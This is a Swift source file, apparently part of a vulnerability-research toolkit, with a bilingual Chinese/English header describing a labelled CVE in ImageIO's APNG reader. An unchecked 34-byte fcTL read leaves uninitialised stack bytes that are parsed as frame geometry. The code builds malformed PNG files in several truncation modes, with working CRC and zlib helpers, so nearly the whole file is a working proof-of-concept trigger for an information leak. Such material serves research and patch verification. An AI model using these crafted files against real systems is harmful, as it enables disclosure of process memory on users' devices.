// iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630
// 原语: 信息泄露 · 进程内 · tier 2
// Primitive: info leak · in-process · tier 2
//
// [zh] APNG fcTL 截断 → 栈上未初始化帧几何
// 在 fcTL 偏移处读取 34 字节，且不检查返回值。当文件在 fcTL 中间被截断时，该 34 字节栈缓冲只有前部被写入，其余部分作为帧宽、高、偏移与延时被解析。
//
// [en] APNG fcTL truncation → uninitialised frame geometry on the stack
// Thirty-four bytes are read at the fcTL offset and the return value is not checked. When the file
// is truncated mid-fcTL only the front of that 34-byte stack buffer is written; the remainder is
// parsed as frame width, height, offsets and delay.
// ── 判别 / oracle ──
// 27.2 改为读 26 字节并检查 cmp x0,#0x1a，报 \"*** truncated 'fcTL' chunk at offset %ld\"。

import Foundation

// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}

// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PNGPayload) ──
enum PNGPayload {
static func apngTruncatedFCTL(mode: Int = 0) -> Data {
        var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
        out += chunk("IHDR", B.be32(4) + B.be32(4) + [8, 6, 0, 0, 0])
        out += chunk("acTL", B.be32(2) + B.be32(0))
        var fctl: [UInt8] = B.be32(0) + B.be32(4) + B.be32(4) + B.be32(0) + B.be32(0)
        fctl += B.be16(1) + B.be16(10) + [0, 0]

        // a real 4x4 RGBA frame so the container itself is valid
        var rawRows: [UInt8] = []
        for _ in 0..<4 {
            rawRows.append(0)
            rawRows += [UInt8](repeating: 0x80, count: 16)
        }
        let idat = chunk("IDAT", zlibStore(rawRows))

        if mode == 2 {
            // control: a fully valid first fcTL (proves the container is otherwise sound)
            out += chunk("fcTL", fctl)
            out += idat
            out += chunk("IEND", [])
        } else if mode == 0 {
            // proper chunk header claiming 26 bytes, only 4 present, then IEND
            out += chunk("fcTL", fctl, declaredLength: 26, truncateTo: 4)
            out += idat
            out += chunk("IEND", [])
        } else {
            // file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND
            out += B.be32(26) + B.ascii("fcTL") + Array(fctl.prefix(4))
        }
        return Data(out)
    }

static func chunk(_ type: String, _ data: [UInt8], declaredLength: Int? = nil, truncateTo: Int? = nil) -> [UInt8] {
        let body = truncateTo.map { Array(data.prefix($0)) } ?? data
        let len = UInt32(declaredLength ?? data.count)
        var out = B.be32(len) + B.ascii(type) + body
        out += B.be32(crc32(B.ascii(type) + body))
        return out
    }

static func crc32(_ bytes: [UInt8]) -> UInt32 {
        var table = [UInt32](repeating: 0, count: 256)
        for i in 0..<256 {
            var c = UInt32(i)
            for _ in 0..<8 { c = (c & 1) != 0 ? (0xEDB88320 ^ (c >> 1)) : (c >> 1) }
            table[i] = c
        }
        var crc: UInt32 = 0xFFFFFFFF
        for b in bytes { crc = table[Int((crc ^ UInt32(b)) & 0xFF)] ^ (crc >> 8) }
        return crc ^ 0xFFFFFFFF
    }

static func zlibStore(_ input: [UInt8]) -> [UInt8] {
        var out: [UInt8] = [0x78, 0x01]
        var offset = 0
        if input.isEmpty { out += [0x01, 0x00, 0x00, 0xFF, 0xFF] }
        while offset < input.count {
            let take = min(65535, input.count - offset)
            out.append(offset + take >= input.count ? 0x01 : 0x00)
            out += B.le16(UInt16(take))
            out += B.le16(UInt16(~take & 0xFFFF))
            out += Array(input[offset..<(offset + take)])
            offset += take
        }
        var a: UInt32 = 1, b: UInt32 = 0
        for byte in input {
            a = (a + UInt32(byte)) % 65521
            b = (b + a) % 65521
        }
        out += B.be32((b << 16) | a)
        return out
    }

}